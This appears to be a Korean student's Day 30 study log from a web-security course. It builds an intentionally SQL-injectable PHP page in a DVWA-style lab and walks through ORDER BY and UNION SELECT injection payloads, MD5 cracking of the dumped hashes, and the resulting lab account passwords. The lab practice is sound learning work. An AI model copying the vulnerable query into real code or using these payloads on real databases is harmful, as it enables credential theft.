🔍 '' 검색 결과
👤 기본 접속 정보
서버 IP : 192.168.0.17
사용자 : 박종완
💉 SQL Injection 구현
📌 경로 : /sqli
📌 파일 구조 : Routes → Home.php → Views/sqli.php
📌 DVWA Security : Low 버튼 선택 후 진행
📌 워크벤치 접속 정보
Host: victim.kr Name: dvwa Port: 3306 Password: password
#SQLInjection #DVWA #워크벤치
🔗 Routes.php
📌 추가 코드
$routes->get('/sqli', 'Home::sqli'); $routes->post('/sqli', 'Home::sqliSearch');
#Routes #GET #POST
🎮 Home.php 컨트롤러
📌 sqli() 메서드
public function sqli() { return view('sqli', ['result' => null, 'query' => null]); }
📌 sqliSearch() 메서드 (취약한 쿼리)
public function sqliSearch() { $userId = $_POST['user_id'] ?? ''; $mysqli = new \mysqli('victim.kr', 'dvwa', 'password', 'dvwa', 3306); if ($mysqli->connect_error) { die('DB 연결 실패: ' . $mysqli->connect_error); } // ⚠️ 의도적으로 취약한 쿼리 (DVWA 컨셉) $sql = "SELECT user_id, first_name, last_name, user, avatar FROM users WHERE user_id = '{$userId}'"; $result = $mysqli->query($sql); if ($result === false) { die('쿼리 실패: ' . $mysqli->error); } $rows = $result->fetch_all(MYSQLI_ASSOC); return view('sqli', [ 'result' => $rows, 'query' => $sql, ]); }
📌 ⚠️ 취약점 : $sql = "SELECT ... WHERE user_id = '{$userId}'";
📌 ✅ 해결 : 새로고침 기능 구현으로 정상 동작 확인
#Controller #Home #취약한쿼리
⚔️ SQL Injection 공격 기법
📌 컬럼 수 확인 (ORDER BY)
-- 정상 1' ORDER BY 2# -- 에러 발생 (컬럼 3개 이상) 1' ORDER BY 3#
📌 # : MySQL의 한줄 주석
📌 UNION을 이용한 데이터 탈취
-- user와 password 탈취 ' UNION SELECT user, password FROM users# -- 실행 결과 First name: admin Surname: 5f4dcc3b5aa765d61d8327deb882cf99
#ORDERBY #UNION #주석 #컬럼추출
🔓 MD5 해시 복호화
📌 사이트 : https://md5.gromweb.com
📌 예시 : 5f4dcc3b5aa765d61d8327deb882cf99password
📌 탈취된 계정 정보
admin / password gordonb / abc123 1337 / charley pablo / letmein smithy / password
#MD5 #해시복호화 #크리덴셜
📋 DB 로그 확인
📌 에러 로그 확인 (Xshell)
tail -f error.log
📌 경로 : public_html/logs
📌 DB General Log 활성화
SHOW VARIABLES LIKE 'general_log'; SHOW VARIABLES LIKE 'general_log_file'; SET GLOBAL general_log = 'ON';
📌 ⚠️ 주의 : Slow Log 활성화 시 용량이 엄청 커짐
📌 ✅ 확인 : general_log ON 상태에서 로그 확인 가능
#DB로그 #error.log #general_log #SlowLog
📝 오늘의 과제
📌 로그인 기능 : 공격이 들어왔을 때 이메일 알람 기능 추가
📌 DVWA 테스트 카테고리 : SQL Injection 페이지 구현 완료
📌 다음주 예정 : CSRF (Cross-Site Request Forgery)
📌 CSRF 준비 : 세션값 이해하고 사이트에 적용 예정
#과제 #알람기능 #CSRF #세션
📌 Day 30 요약 / 결론

📌 SQL Injection : DVWA Low 레벨에서 취약한 쿼리 실습

📌 ORDER BY : 컬럼 개수 확인 (1' ORDER BY 3# 에러 발생)

📌 UNION : ' UNION SELECT user, password FROM users# 로 계정 탈취

📌 MD5 복호화 : md5.gromweb.com에서 해시 → 평문 복호화

📌 탈취된 계정 : admin/password, gordonb/abc123, 1337/charley, pablo/letmein, smithy/password

📌 DB 로그 : general_log 활성화로 쿼리 로그 확인 가능

📌 다음주 : CSRF 공격 기법 학습 예정

🎯 결론 : SQL Injection을 통한 DB 데이터 탈취 및 크리덴셜 크랙 실습 완료
#SQLInjection #DVWA #UNION #MD5 #크리덴셜탈취 #CSRF
30/31